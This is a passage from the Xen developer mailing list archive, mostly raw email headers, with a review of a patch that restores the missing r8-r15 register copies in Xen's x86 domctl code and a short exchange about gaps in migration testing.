 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784541464; cv=none;
        d=google.com; s=arc-20260327;
        b=QBEq9KI0mdYctJi1ZNllxni4XhSjhqtYH+QLUjRKdpV823mWNNbaT4WItrqn6/8wMj
         MdPNbtgMN5DIQ1KDRnNE0XvH/As47f+ZdVAC7qVvEi8o3K9EJEiQwIw7ahpDG9/U2Sut
         ZpwX2lrlh+KFQuAECU4BU399OArOaTy/0XiUzJuNSV+4MAkLVbNklA41yQ3qRAzZf+ux
         7oF2+P7Fw5JKmMFKwHIhRNuxL7s5HyIma4A2LSPc8lcVOHJz/K5JlSOcvCxsq6i7r2eR
         EUpreypvImmLLzIPluYBVu+KUzVbmXB/x6FbhFJX/24IxkTkEJKzOd8uAeK9ABQuC9B+
         eHoQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=o9wv+vt0kf3eYShVpVbOtz1n6i3oPEqytW0Oh8ZxUN4=;
        fh=cnTo6Tg69lXnwSXiPguVimOwedesAXdkped6OqKsO8k=;
        b=AYzcK+Yo95NF1D3Y+XqqcWwNUs53zePmKOus1VaZswFLej5uC3CFNG2Rb7UCq6OeCB
         VaIHR+u2SboDTynQr4wL+b7yW5J5zav/1SRHYvouXSoYA7txrte4vgaOfdHB3Sof2Zfy
         FDGV5qS3diHzdPYI3qna/kfwk638ru5ICV6Jp6fNpy7b6Gt/xDPHDg2t8sqXjzVepfRc
         XQ112asH9esspnEaud2LjIiUFBs/8j9OkJDx90B6sz8kvSWZgRZy3QujjQP9frNsrmWL
         UF5iTZPUatKISCYxbN6taTcHsN7QSSFt0D1axYQK2FSGXnkEbyU845mo2LMHUeG6QcOI
         hXcA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784541464; x=1785146264; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=o9wv+vt0kf3eYShVpVbOtz1n6i3oPEqytW0Oh8ZxUN4=;
        b=QEi2exMirR0B88ZEG4oDJkAVitllF3nOfy+mN3cHAsrKAktpxiqnRfmx2HhoDMWpB5
         PmHl9uDLe3F6zcU1nfx30720+44UWHZAj4rKoEIolrsc47lLUF44TTGFh7vX6TZeutFg
         CjZ0jDjwTZj8z4yYCpWBT4rUDCgpfjsKZbW2MSC+J9kC57t3i2FOXRlPqKss6bBJtBfs
         7vh0Fkj2crvk3TAVp40KRk8Lz/4gbaHkxKY4E8PRN117aiI0ENvodfwsoeqnVeiWYKV9
         hyHg21aVZOBMQeKr//C7KyyyBXrUKudzosqSh+TUhSFqL+4tmQqqrdg56E+Y46iwVANx
         pgaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784541464; x=1785146264;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=o9wv+vt0kf3eYShVpVbOtz1n6i3oPEqytW0Oh8ZxUN4=;
        b=gzvEvOAU9Ue1Iw5FCXzCXMCOPgzzmDzPUwtwGPA5XDpp9M5SsDujaia/lgi1SNpLq0
         7CzL+O8iUNgtBusfvahV5hPUZdbzFW26JqFxMygx5x9Sl2mnSt90/Lv1+8QJfYUxaHR1
         e2+K6nvNVOvu1MYUpwjk8En6HjVWqGFI3q05FJ/LcQ/Va5MDxep5oZ2qRoa+6Xwovkzs
         Cq+qEKE/wcfO0sl8hMUvxpiSjRWlXdv9xKTxr2Vmu2TJQ7udVaprdagg1YFTdjPtlXCg
         9zhUxUKo76mRpcqACTvOo8Is6Rd77usktJjJz80BuipStzrYCt5I7i9vd3wrcovES2Wo
         Gltg==
X-Gm-Message-State: AOJu0YwVcaM5kTCKhvg3t/D1y6dqvskoGWo0H7NQYREBIcO+i/jlJN9V
	7bB8NoSsMa8qRWyP9AGShMFY7SP9DCtcBz2vuF0tDTnjRxwyVAuDHRSXV6ZMyRhdGJxJfCzDOdt
	E78MiX4b9ztIZK82Otybuzd/tSPRf7WLXK6Eb
X-Gm-Gg: AR+sD13WWdWWAuUyNzwo8ahSx8uXtK/6EoWjRSj3Ugnj6BKepBE9/F6lkU/4oP79VXW
	piPkJlFCU+D1hLEXwfctYSmpM04Rsjho44caxYivGCqV92alsWVZoJDtdznhSDFCevVxDLjMJnC
	7Wa2aRBMePO+TVsNuZlqWoJOFVx8gTt3knsUI3/NT+47otqa6mtdDIQab7Z/pJ/d8L5HzZtmoXC
	ILZLf8AD5ncFe54jqStU8LRggksCI7oqzVcEXaWPRKISa3NdCsWSMV4mevsyP6rAkygx2TfHOi+
	O6eKXyRjiMdvf5/3O1MtyFAkPWxa
X-Received: by 2002:a05:690c:46c1:b0:80c:85e5:8745 with SMTP id
 00721157ae682-81ef262b5famr43042617b3.67.1784541464152; Mon, 20 Jul 2026
 02:57:44 -0700 (PDT)
MIME-Version: 1.0
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
In-Reply-To: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Mon, 20 Jul 2026 10:57:33 +0100
X-Gm-Features: AUfX_mz919yePEREmTPdnG0zI60iGVMzi5zlnPglgeLGU4oRqx7Oi5DWAq241rQ
Message-ID: <CAHt6W4derNf71m6hjB=8DOeghtSQ6N+sMenJZd2iOn1EJxRaiw@mail.gmail.com>
Subject: Re: [PATCH] x86/domctl: restore all registers in arch_{get,set}_info_guest()
To: =?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Cc: xen-devel@lists.xenproject.org, Jan Beulich <jbeulich@suse.com>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-c1860d/1784541466-D735D87B-E299431A/0/0
X-purgate-type: clean
X-purgate-size: 3128

On Mon, 20 Jul 2026 at 01:13, Marek Marczykowski-G=C3=B3recki
<marmarek@invisiblethingslab.com> wrote:
>
> Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
> converted memcpy() of the cpu_user_regs structure to explicit copy of
> its fields. In the compat case, it intentionally missed few of them,
> named in the commit message. But the 64bit case missed also r8-r15
> registers, which was not intentional. This, at least, caused Linux
> 6.18.x crash when resuming PVH domU.
>
> Fix it by adding missing assignments.
>
> Fixes: 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
> Signed-off-by: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblethingsl=
ab.com>
> ---
>  xen/arch/x86/domain.c | 8 ++++++++
>  xen/arch/x86/domctl.c | 8 ++++++++
>  2 files changed, 16 insertions(+)
>
> diff --git a/xen/arch/x86/domain.c b/xen/arch/x86/domain.c
> index 1d458f1372e5..ba7244ccc513 100644
> --- a/xen/arch/x86/domain.c
> +++ b/xen/arch/x86/domain.c
> @@ -1255,6 +1255,14 @@ int arch_set_info_guest(
>
>      if ( !compat )
>      {
> +        v->arch.user_regs.r15               =3D c.nat->user_regs.r15;
> +        v->arch.user_regs.r14               =3D c.nat->user_regs.r14;
> +        v->arch.user_regs.r13               =3D c.nat->user_regs.r13;
> +        v->arch.user_regs.r12               =3D c.nat->user_regs.r12;
> +        v->arch.user_regs.r11               =3D c.nat->user_regs.r11;
> +        v->arch.user_regs.r10               =3D c.nat->user_regs.r10;
> +        v->arch.user_regs.r9                =3D c.nat->user_regs.r9;
> +        v->arch.user_regs.r8                =3D c.nat->user_regs.r8;
>          v->arch.user_regs.rbx               =3D c.nat->user_regs.rbx;
>          v->arch.user_regs.rcx               =3D c.nat->user_regs.rcx;
>          v->arch.user_regs.rdx               =3D c.nat->user_regs.rdx;
> diff --git a/xen/arch/x86/domctl.c b/xen/arch/x86/domctl.c
> index 07f712a0a40d..3ea4c650eee0 100644
> --- a/xen/arch/x86/domctl.c
> +++ b/xen/arch/x86/domctl.c
> @@ -1481,6 +1481,14 @@ void arch_get_info_guest(struct vcpu *v, vcpu_gues=
t_context_u c)
>      if ( !compat )
>      {
>          /* Backing memory is pre-zeroed. */
> +        c.nat->user_regs.r15               =3D v->arch.user_regs.r15;
> +        c.nat->user_regs.r14               =3D v->arch.user_regs.r14;
> +        c.nat->user_regs.r13               =3D v->arch.user_regs.r13;
> +        c.nat->user_regs.r12               =3D v->arch.user_regs.r12;
> +        c.nat->user_regs.r11               =3D v->arch.user_regs.r11;
> +        c.nat->user_regs.r10               =3D v->arch.user_regs.r10;
> +        c.nat->user_regs.r9                =3D v->arch.user_regs.r9;
> +        c.nat->user_regs.r8                =3D v->arch.user_regs.r8;
>          c.nat->user_regs.rbx               =3D v->arch.user_regs.rbx;
>          c.nat->user_regs.rcx               =3D v->arch.user_regs.rcx;
>          c.nat->user_regs.rdx               =3D v->arch.user_regs.rdx;

Reviewed-by: Frediano Ziglio <frediano.ziglio@citrix.com>

Frediano


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:59:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:59:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366422.1616308 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkmK-0006e5-7w; Mon, 20 Jul 2026 09:59:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366422.1616308; Mon, 20 Jul 2026 09:59:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkmK-0006dy-5G; Mon, 20 Jul 2026 09:59:16 +0000
Received: by outflank-mailman (input) for mailman id 1366422;
 Mon, 20 Jul 2026 09:59:15 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wlkmJ-0006ds-DS
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:59:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkmI-000l6h-9r
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:59:14 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df16d-e002-0a2a0a5209dd-0a2a4507d1dc-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:59:14 +0200
Received: from [209.85.128.177] (helo=mail-yw1-f177.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df170-b4ea-0a2a45070019-d15580b1e833-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:59:13 +0200
Received: by mail-yw1-f177.google.com with SMTP id
 00721157ae682-81eef95653fso24302437b3.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:59:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784541552; cv=none;
        d=google.com; s=arc-20260327;
        b=A+6Wy4nkI9j4KoUf/0drF9wuFvqlT5BfDlo+vomG/yMwGtYRx9zx/gy9icDxN9Ka4u
         50M8yiELrwP1V9PBkPRF12Xaimwb8RXHfxmQcIj3hhkGxJ2rv2MVKAqiMWEIUOFeCMb5
         svSLzk66/9CPfC01InrMi7FOK4oQpybh2BJVANcmXAwp8fcEnPDtYaLAkKYoIGXSrpMo
         7MneMQt8Usgg/Aeq1Ppcq/tVT7xwTr8mdGZ5tsZgjgeMZW3ukPfJPozF5z3pQKtsRHO8
         8YOKB78G7f4n2/tHul50Igg/kqtReL1dNzYK8TkgGzdw9BBnsRGXTCILjCrxVKCmYJub
         QFVw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=ZIJPDOGMGXtHFAAoNyKXLbsC7KraedC+8OmoR5/4Gvc=;
        fh=wk0y1wP5tyDhLPHhZ130vdu8uO7RzrblIn679649v3M=;
        b=M9/BMeaFoRQ07y02dT6vZfy6w9HA0nizYmykXp0/kVWt1A4WKTby+PO+xGs7Q/y5cq
         3C7HEz6GCyPZly6r4iPZ8d+W1TjmANGxxRpE6UHINry3zUuOK21WONXXEGSTCu/wim99
         H3+hEO6vy5FA44nHNtTKiLqNrm5phVca2uEyep1nQAOhVlsQPT+JnycWuF2RiPcBpLx1
         QqT9VA5NQ99pGwoRuC2ExNBGBDFPjBlv0KvXWc9vCQKIduCJBkxvTU23AMuLdXGrnkSS
         fcqMnojtDt3RLaRd32d9dbRULu0CtT3TPIOPXkvZ6JXMfbER59c95qVhzzf3oJwBTSmp
         4SJw==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784541552; x=1785146352; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=ZIJPDOGMGXtHFAAoNyKXLbsC7KraedC+8OmoR5/4Gvc=;
        b=mr/ZCWojbk232Ydu6KsVQP33F9wzhKM73lydFhIYcAEpxBNbs7W29Mmz9FkQisygVH
         eSVv0iPpDAR6sYv3ZJ4AVOjjuUzUIe2auxkzEoRa4fGqfSLuhTHCKRq7kjSZuUr609uU
         OTaC3QpyrUKDbQb8APlA5FRe1B+XSmCLVZYA3hG5Aa3ybabFa+vlfQFXun0j+0/Rqvo8
         +nXNDRDlur+i1CnmgeU+nZdVjKc6aOsfi4D4eSAk8BGTilkU1tIC7F+gVI0Jxzra9iVC
         8MJdTW2PsMFzl9kzkIT8ZhzEnBM4NoADR62+fCc2m4Vjjn7RAwWTZXORL866yNMP6aIa
         BOVw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784541552; x=1785146352;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ZIJPDOGMGXtHFAAoNyKXLbsC7KraedC+8OmoR5/4Gvc=;
        b=XTtteDP4T+2UYvBLHue4sKYa88MIke5YxoSdNery/PfeWaOrphVWk3EYkv067LTCrX
         c0GfG4bEWg2+UyKJPD9ZeZxZMEB9wc0n3u0FFtqnPPxTSbIZLIOuqRISTMFfZjPgVRmE
         F44fquQ9RI0/dbSaB0sGpwCkmCdzNqptU7sYXQV5lqEJASCheCSUjKfNjQpJyUTfNQQr
         SDZ7E91p2JcQeqbkV2fFxa6ohFHIH01vu9Nm5lUrNwDMFBqF6G9Paw9VyXCtSJgW/67y
         fCHEtDM0D9cqk2r+rDnjiSBUTG7A3auUmrL9LIQJnHX80RrjHP/5KPwff9zmJkpS2A6s
         Rd6w==
X-Forwarded-Encrypted: i=1; AHgh+RpxbbWHfI8FiFquBpG2sdqOgtBUh/HuvXCzemoSL6WYMyRabAbWuIg3VSZyJFsKh7u3tACKJjxNl68=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxLyKV5vIOAQKfa0yl+wXg6UEXYVznlJKCgjDu4nu9KGViqGCFX
	k9aTdizLnull13tTLn2ftqe5JbTYUWZmkrzmiXkWRrkPsQPT52JEYcFkk8gPTjAUWSKuCL7C4T2
	mq/b1Jgh6Tb6rVQm439S3ILquFW9dPOY=
X-Gm-Gg: AR+sD13DSDEZMKJLSgFuXWIVkJZlM9nBxkXn6SaXzAgV0sUa6t8Y/MmWspki0/pLatW
	bY4VFK5VoLJs2sw04BgR5+gOaDfwNR6Fyb6dMUNi15yFutN19JF8hBMqTrOPU8YXfaOM6k/2F+R
	UDbDGhlMbAJgj64EeE/wwWTmxNH8RPc0ez7fyRoa+IlMysQGO12lSmU4RkVt8VtbCzwrzk5nb0i
	sRiY4zpN4DDHa8sYTbp/NyhFMPyEGc8cVnZGVchIsqRqQBZElnr4B3s7HTGogKe9T0B4OqNZA4D
	BJlK7vrqtKoYADdZHA==
X-Received: by 2002:a05:690c:260f:b0:81c:bd45:478a with SMTP id
 00721157ae682-81ef25d5b84mr42879337b3.41.1784541552311; Mon, 20 Jul 2026
 02:59:12 -0700 (PDT)
MIME-Version: 1.0
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
 <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com> <f0d40078-4e00-4307-84ae-1d5c65346af7@citrix.com>
In-Reply-To: <f0d40078-4e00-4307-84ae-1d5c65346af7@citrix.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Mon, 20 Jul 2026 10:59:00 +0100
X-Gm-Features: AUfX_mw01QeA9OO1QMiVF6Ekew7yoBFQO-ZVRoJeL9UnfvHHo-KblCsnbeP3HCc
Message-ID: <CAHt6W4cM2sYhUsu7Z3KZzMyF3JKzjHLm_orDmjEs+y4hpT98Zg@mail.gmail.com>
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in arch_{get,set}_info_guest()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Jan Beulich <jbeulich@suse.com>, 
	=?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>, 
	Oleksii Kurochko <oleksii.kurochko@gmail.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ef75cf/1784541553-3C610AE4-B2DBB2AE/0/0
X-purgate-type: clean
X-purgate-size: 992

On Mon, 20 Jul 2026 at 10:09, Andrew Cooper <andrew.cooper3@citrix.com> wro=
te:
>
> On 20/07/2026 8:19 am, Jan Beulich wrote:
> > On 20.07.2026 02:12, Marek Marczykowski-G=C3=B3recki wrote:
> >> Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
> >> converted memcpy() of the cpu_user_regs structure to explicit copy of
> >> its fields. In the compat case, it intentionally missed few of them,
> >> named in the commit message. But the 64bit case missed also r8-r15
> >> registers, which was not intentional. This, at least, caused Linux
> >> 6.18.x crash when resuming PVH domU.
> > Oh, wow, what a bad mistake (including by me as the reviewer).
>
> Yes, I'm very embarrassed by this mistake.  It also highlights a serious
> gap in testing which we need to address.  We've managed a release and a
> half with PV migration plain broken before figuring out why.
>
...

Is migration tested by CI or just for some reason this was not captured?

Frediano


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:01:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:01:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366430.1616317 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkob-0008Bz-Jm; Mon, 20 Jul 2026 10:01:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366430.1616317; Mon, 20 Jul 2026 10:01:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkob-0008Bs-Gs; Mon, 20 Jul 2026 10:01:37 +0000
Received: by outflank-mailman (input) for mailman id 1366430;
 Mon, 20 Jul 2026 10:01:36 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wlkoa-0008Bm-4K
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:01:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkoZ-00GOIH-AG
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:01:35 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df1e6-5cb7-0a2a0a5109dd-0a2a4504d5f6-36
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:01:35 +0200
Received: from [209.85.128.170] (helo=mail-yw1-f170.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df1fe-b57f-0a2a45040019-d15580aab41b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:01:35 +0200
Received: by mail-yw1-f170.google.com with SMTP id
 00721157ae682-81e9f7491ffso122478907b3.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:01:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784541693; cv=none;
        d=google.com; s=arc-20260327;
        b=G/YosWV+IpUTv59+fZZxXZaE9NxhJx8XMbM8GrahgW7Bf/ICkGL9TVyQ5L/ByagDSc
         Rrhrd3kJ4aYg+rskpvObeUNwPPHOSXWWuviRAknpAxgjev+RYWjy22V0diAneE0geuH4
         DR3FedL/ycCg6HaeRxQJyqqkkYQJklUtp6F63xzs/bV0k0Gx095K1ynca/4Ggb5U6mVZ
         JcL9RHj1UTKhTTkW6djp50KPDQDUnM3FwsEM/JbLjnfzRk2zevXx9LEyQEydfe6qWQYV
         VkQws8B8K2+Gn6NIwACGLrx/lyvPBiBeTSjO7ZOygdz+/lw+6cEtCBtvohw+2i/2AGJV
         s7rg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=SDKRzzdGRcnNNkgrabuwOxbftwIMRAbnSY7PxCk6mdU=;
        fh=wpPYIvM/uAwkGWAfTQr96u7uYNsg7Rgtcx8qhXGsU5c=;
        b=QjNAmc7OTwrHX7ZZdvzfIlPUhI9UX/wEeNjfajdKjtJoFsyBbqo9oPt+vJVEE/lHkA
         JeFk3XZHPrOMrq/LmLNzfbYb2N5KUlslHENSEyUbbiFIYiY9OizZ1zCq2jGfTl//xAWZ
         jw+NtK94cNZRCcFMF304+od3sm/zH8W2Ip9of0XSiA57adGlX7y0cSAbM9d5uQrZpsFm
         MnkHp3nUwkcNL7uSuVj9rxdWyYGY2PKWKhU7EWH/R93FLI61I7PhRNBxHO4rlVZ2UKIe
         eGeitv2wvaYlrJlOg+UzaDo3ZIjQxeVv+URXUtzug15Q/E/mO6RjdA6QILJvvzm6s6fH
         6Y5Q==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784541693; x=1785146493; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=SDKRzzdGRcnNNkgrabuwOxbftwIMRAbnSY7PxCk6mdU=;
        b=GMylr0BvZyUmtDmJbebyM2qpDcAAywkUhzcP16dgbys1DN1aNOFTwPCnRsbH/tSC7k
         8lZhKC8GzBbwXDyeQNWxjp5RCJQ7L7HPlSpTemcmqY9UZgBgF24tRfujUpY0/WRK4LQG
         RW2Mrb04eBV2BkBU4zy13ynmWtdSPeMcuYbiMgwDJgxmDHfxMbBUqDaEPM0KgqEhjbbS
         EWbAHGVBv9fdHHfMvfWpJK8AtpG0df/57HNxDra0mw0CjrscX/nqihV3ueUXiEkSt9jr
         aA4gWyKQ2b8gU1ElV25YzScT4yXRecpB6PXpEhaZBOe/DE110UollqoymGBz0QwuH7Qr
         b/7g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784541693; x=1785146493;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=SDKRzzdGRcnNNkgrabuwOxbftwIMRAbnSY7PxCk6mdU=;
        b=dsqLr10SUWr/IXssh3FPx6fq4JtdVJt9PmMqGGVwh9GZiZ3ZINP51kgFE1lER64Odm
         uu6Xa+mEUPiV7rhxD3rzKskmVeYtDFqesX7we/EtrV+3C4yBSrNLn6JTbOh/xzWBUcKb
         /vj+PWFoqWDnDIg/PV7kP7/6nxOnUKBVCzZ9bUJY+AgbmmLZAVIMqcHK984wcVFQ9T7B
         IM/mfGiYNLLitlNJfrObFxEi56wvEemZRQpa5rbhGYpSo4BcA3hHzxvX/59wcTCwfjj5
         4l2unv8RvXTMKeKMQoI2RUHYKcgEMS6wmzSp97iovlHir8Bb+WzwiB4HoR4ey3g+wtkO
         WDJA==
X-Gm-Message-State: AOJu0Yy3XAFBKgqTVlqMlGjn0K+n/Ba22wHAbf/C96sHVdEQzK2d6hWf
	nbRbGEBOMbf1hfS+U6T5g5MruA/nF5wxj5SJ1JIMlKk8wYAFnilq4lkaZNqK3T4ndXeRQ8B2Ia1
	q7Z0PTlWSwwFA1amMwVV5b3fpfGv5cx4=
X-Gm-Gg: AR+sD10PF7CeTLvgRlP96xiov0g8SQuq1A4PjJBamyctJE/ND9ZlP9IzCe64N0jya3b
	AkloFjTfXVJu0ADAAnaEy8nQQCVpCXjsh7Eu6HLcv5Q9Zf9YAVMfyN1iYY/YsbORWF/cSW80Cx3
	kCLfc505YmhQjFtkk1avaPJ2xu2qIhJxhBRNA+v2YKHepjAma0CqKWwN6Zag2h1jDcTQLTT0iw8
	0DXvEb8fbqQo/pdIE9qZDjnz2vp5e1r4E91n743nNDde/f7oIi47fk6Ied78eXGItqEZO0vBT+Z
	xy7/HCNORg/WQ/n4SA==
X-Received: by 2002:a05:690c:692:b0:81e:8b74:b35c with SMTP id
 00721157ae682-81ef28050cbmr40089067b3.36.1784541693336; Mon, 20 Jul 2026
 03:01:33 -0700 (PDT)
MIME-Version: 1.0
References: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
In-Reply-To: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Mon, 20 Jul 2026 11:01:21 +0100
